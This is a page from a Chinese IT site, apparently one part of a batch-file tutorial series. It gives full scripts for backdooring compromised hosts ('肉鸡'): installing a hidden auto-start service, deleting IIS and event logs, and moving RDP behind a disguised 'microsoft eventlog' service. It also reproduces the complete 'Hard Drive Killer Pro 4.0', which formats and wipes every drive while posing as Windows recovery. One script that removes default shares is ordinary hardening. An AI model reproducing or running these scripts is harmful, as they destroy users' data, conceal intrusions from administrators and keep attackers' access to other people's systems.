当前位置: 移动技术网 > IT编程>网络>Dos/Bat > 批处理文件制作实例精彩教程第1/5页

批处理文件制作实例精彩教程第1/5页

2017年12月12日  | 移动技术网IT编程  | 我要评论

@start windrv32.exe 
@attrib +h +r windrv32.exe 
@echo [hkey_local_machine//software//microsoft//windows//currentversion//run] >>patch.dll 
@echo "windsnx "=- >>patch.dll 
@sc.exe create windriversrv type= kernel start= auto displayname= windowsdriver binpath= c://winnt//system32//windrv32.exe 
@regedit /s patch.dll 
@delete patch.dll 

@rem [删除dsnxde在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] 
@rem 这样不是更安全^_^. 
六.精彩实例放送。 
1.删除win2k/xp系统默认共享的批处理 
------------------------ cut here then save as .bat or .cmd file --------------------------- 


@echo preparing to delete all the default shares.when ready pres any key. 
@pause 
@echo off 

:rem check parameters if null show usage. 
if {%1}=={} goto :usage 

:rem code start. 
echo. 
echo ------------------------------------------------------ 
echo. 
echo now deleting all the default shares. 
echo. 
net share %1$ /delete 
net share %2$ /delete 
net share %3$ /delete 
net share %4$ /delete 
net share %5$ /delete 
net share %6$ /delete 
net share %7$ /delete 
net share %8$ /delete 
net share %9$ /delete 
net stop server 
net start server 
echo. 
echo all the shares have been deleteed 
echo. 
echo ------------------------------------------------------ 
echo. 
echo now modify the registry to change the system default properties. 
echo. 
echo now creating the registry file 
echo windows registry editor version 5.00> c://delshare.reg 
echo [hkey_local_machine//system//currentcontrolset//services//lanmanserver//parameters]>> c://delshare.reg 
echo "autosharewks"=dword:00000000>> c://delshare.reg 
echo "autoshareserver"=dword:00000000>> c://delshare.reg 
echo nowing using the registry file to chang the system default properties. 
regedit /s c://delshare.reg 
echo deleting the temprotarily files. 
del c://delshare.reg 
goto :end 

:usage 
echo. 
echo ------------------------------------------------------ 
echo. 
echo ☆ a example for batch file ☆ 
echo ☆ [use batch file to change the sysytem share properties.] ☆ 
echo. 
echo author:ex4rch 
echo mail: ex4rch@hotmail.com qq:1672602 
echo. 
echo error:not enough parameters 
echo. 
echo ☆ please enter the share disk you wanna delete ☆ 
echo. 
echo for instance,to delete the default shares: 
echo delshare c d e ipc admin print 
echo. 
echo if the disklable is not as c: d: e: ,please chang it youself. 
echo. 
echo example: 
echo if locak disklable are c: d: e: x: y: z: ,you should chang the command into : 
echo delshare c d e x y z ipc admin print 
echo. 
echo *** you can delete nine shares once in a useing *** 
echo. 
echo ------------------------------------------------------ 
goto :eof 

:end 
echo. 
echo ------------------------------------------------------ 
echo. 
echo ok,delshare.bat has deleted all the share you assigned. 
echo.any questions ,feel free to mail to ex4rch@hotmail.com . 
echo 
echo. 
echo ------------------------------------------------------ 
echo. 

:eof 
echo end of the batch file 
------------------------ cut here then save as .bat or .cmd file --------------------------- 


2.全面加固系统(给肉鸡打补丁)的批处理文件
@echo windows registry editor version 5.00 >patch.dll 
@echo [hkey_local_machine//system//currentcontrolset//services//lanmanserver//parameters] >>patch.dll 

@echo "autoshareserver"=dword:00000000 >>patch.dll 
@echo "autosharewks"=dword:00000000 >>patch.dll 
@rem [禁止共享] 

@echo [hkey_local_machine//system//currentcontrolset//control//lsa] >>patch.dll 
@echo "restrictanonymous"=dword:00000001 >>patch.dll 
@rem [禁止匿名登录] 

@echo [hkey_local_machine//system//currentcontrolset//services//netbt//parameters] >>patch.dll 
@echo "smbdeviceenabled"=dword:00000000 >>patch.dll 
@rem [禁止及文件访问和打印共享] 

@echo [hkey_local_machine//system//currentcontrolset//services//@remoteregistry] >>patch.dll 
@echo "start"=dword:00000004 >>patch.dll 
@echo [hkey_local_machine//system//currentcontrolset//services//schedule] >>patch.dll 
@echo "start"=dword:00000004 >>patch.dll 
@echo [hkey_local_machine//software//microsoft//windows nt//currentversion//winlogon] >>patch.dll 
@echo "shutdownwithoutlogon"="0" >>patch.dll 
@rem [禁止登录前关机] 

@echo "dontdisplaylastusername"="1" >>patch.dll 
@rem [禁止显示前一个登录用户名称] 
@regedit /s patch.dll 
------------------------ cut here then save as .bat or .cmd file --------------------------- 

下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 
@regedit /s patch.dll 
@net stop w3svc 
@net stop event log 
@del c://winnt//system32//logfiles//w3svc1//*.* /f /q 
@del c://winnt//system32//logfiles//w3svc2//*.* /f /q 
@del c://winnt//system32//config//*.event /f /q 
@del c://winnt//system32dtclog//*.* /f /q 
@del c://winnt//*.txt /f /q 
@del c://winnt//*.log /f /q 
@net start w3svc 
@net start event log 
@rem [删除日志] 


@net stop lanmanserver /y 
@net stop schedule /y 
@net stop remoteregistry /y 
@del patch.dll 
@echo the server has been patched,have fun. 
@del patch.bat 
@rem [禁止一些危险的服务。] 

@echo [hkey_local_machine//system//currentcontrolset//control//terminal server//winstations//rdp-tcp] >>patch.dll 
@echo "portnumber"=dword:00002010 >>patch.dll 
@echo [hkey_local_machine//system//currentcontrolset//control//terminal server//wds//rdpwd//tds//tcp >>patch.dll 
@echo "portnumber"=dword:00002012 >>patch.dll 
@echo [hkey_local_machine//system//currentcontrolset//services//termdd] >>patch.dll 
@echo "start"=dword:00000002 >>patch.dll 
@echo [hkey_local_machine//system//currentcontrolset//services//secuservice] >>patch.dll 
@echo "start"=dword:00000002 >>patch.dll 
@echo "errorcontrol"=dword:00000001 >>patch.dll 
@echo "imagepath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,// >>patch.dll 
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,// >>patch.dll 
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 
@echo "objectname"="localsystem" >>patch.dll 
@echo "type"=dword:00000010 >>patch.dll 
@echo "description"="keep record of the program and windows message。" >>patch.dll 
@echo "displayname"="microsoft eventlog" >>patch.dll 
@echo [hkey_local_machine//system//currentcontrolset//services//termservice] >>patch.dll 
@echo "start"=dword:00000004 >>patch.dll 
@copy c://winnt//system32//termsrv.exe c://winnt//system32//eventlog.exe 
@rem [修改3389连接,端口为8210(十六进制为00002012),名称为microsoft eventlog,留条后路] 

3.hard drive killer pro version 4.0(玩批处理到这个水平真的不容易了。) 
------------------------ cut here then save as .bat or .cmd file --------------------------- 
@echo off 
rem this program is dedecated to a very special person that does not want to be named.
:start 
cls 
echo please wait while program loads . . . 
call attrib -r -h c://autoexec.bat >nul 
echo @echo off >c://autoexec.bat 
echo call format c: /q /u /autosample >nul >>c://autoexec.bat 
call attrib +r +h c://autoexec.bat >nul 
rem drive checking and assigning the valid drives to the drive variable. 

set drive= 
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 

rem code insertion for drive checking takes place here. 
rem drivechk.bat is the file name under the root directory. 
rem as far as the drive detection and drive variable settings, dont worry about how it 
rem works, its d//*amn to complicated for the average or even the expert batch programmer. 
rem except for tom lavedas. 

echo @echo off >drivechk.bat 
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "vol" > nul >{t}.bat 
%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
del {t}.bat 
echo if errorlevel 1 goto enddc >>drivechk.bat 

cls 
echo please wait while program loads . . . 

rem when errorlevel is 1, then the above is not true, if 0, then its true. 
rem opposite of binary rules. if 0, it will elaps to the next command. 

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find "bytes" > nul >{t}.bat 
%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
del {t}.bat 
echo if errorlevel 1 goto enddc >>drivechk.bat 

cls 
echo please wait while program loads . . . 

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 
rem if errorlevel is 0, then it will elaps to the next command. 

echo @prompt dir %%%%1:.///ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 
%comspec% /e:2048 /c {t}.bat >>drivechk.bat 
del {t}.bat 
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 

cls 
echo please wait while program loads . . . 

rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 
rem if its not errorlevel 1, then the specified drive is a cd-rom drive. 

echo :enddc >>drivechk.bat 

rem drive checking insertion ends here. "enddc" stands for "end ddrive checking". 

rem now we will use the program drivechk.bat to attain valid drive information. 

:sampledrv 

for %%a in (%alldrive%) do call drivechk.bat %%a >nul 
del drivechk.bat >nul 
if %drive.==. set drive=c 

:form_del 
call attrib -r -h c://autoexec.bat >nul 
echo @echo off >c://autoexec.bat 
echo echo loading windows, please wait while microsoft windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autosample >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo loading windows, please wait while microsoft windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat 
echo echo loading windows, please wait while microsoft windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo loading windows, please wait while microsoft windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autosample >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo loading windows, please wait while microsoft windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a bunga >nul >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo loading windows, please wait while microsoft windows recovers your system . . . >>c://autoexec.bat 
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat 
echo cd// >>c://autoexec.bat 
echo cls >>c://autoexec.bat 
echo echo welcome to the land of death. munga bungas multiple hard drive killer version 4.0. >>c://autoexec.bat 
echo echo if you ran this file, then sorry, i just made it. the purpose of this program is to tell you the following. . . >>c://autoexec.bat 
echo echo 1. to make people aware that security should not be taken for granted. >>c://autoexec.bat 
echo echo 2. love is important, if you have it, truly, dont let go of it like i did! >>c://autoexec.bat 
echo echo 3. if you are not a vegetarian, then you are a murderer, and im glad your hd is dead. >>c://autoexec.bat 
echo echo 4. dont support the following: war, racism, drugs and the liberal party.>>c://autoexec.bat 

echo echo. >>c://autoexec.bat 
echo echo regards, >>c://autoexec.bat 
echo echo. >>c://autoexec.bat 
echo echo munga bunga >>c://autoexec.bat 
call attrib +r +h c://autoexec.bat 

:makedir 
if exist c://temp.bat attrib -r -h c://temp.bat >nul 
echo @echo off >c://temp.bat 
echo %%1:// >>c://temp.bat 
echo cd// >>c://temp.bat 
echo :startmd >>c://temp.bat 
echo for %%%%a in ("if not exist %%2//nul md %%2" "if exist %%2//nul cd %%2") do %%%%a >>c://temp.bat 
echo for %%%%a in (">ass_hole.txt") do echo %%%%a your gone @$$hole!!!! >>c://temp.bat 
echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd >>c://temp.bat 
call attrib +r +h c://temp.bat >nul 

cls 
echo initializing variables . . . 
rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction. 
for %%a in (%drive%) do call format %%a: /q /u /autosample >nul 
cls 
echo initializing variables . . . 
echo validating data . . . 
for %%a in (%drive%) do call c://temp.bat %%a munga >nul 
cls 
echo initializing variables . . . 
echo validating data . . .
echo analyzing system structure . . . 
for %%a in (%drive%) call attrib -r -h %%a:// /s >nul 
call attrib +r +h c://temp.bat >nul 
call attrib +r +h c://autoexec.bat >nul 
cls 
echo initializing variables . . . 
echo validating data . . . 
echo analyzing system structure . . . 
echo initializing application . . . 

for %%a in (%drive%) call deltree /y %%a://*. >nul 
cls 
echo initializing variables . . . 
echo validating data . . . 
echo analyzing system structure . . . 
echo initializing application . . . 
echo starting application . . . 
for %%a in (%drive%) do call c://temp.bat %%a munga >nul 

cls 
echo thank you for using a munga bunga product. 
echo. 
echo oh and, bill gates rules, and he is not a geek, he is a good looking genius. 
echo. 
echo here is a joke for you . . . 
echo. 
echo q). whats the worst thing about being an egg? 
echo a). you only get laid once. 
echo. 
echo hahahaha, get it? dont you just love that one? 
echo. 
echo regards, 
echo. 
echo munga bunga 

:end 

rem hard drive killer pro version 4.0, enjoy!!!! 
rem author: munga bunga - from australia, the land full of retarded australians (help me get out of here).
5

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网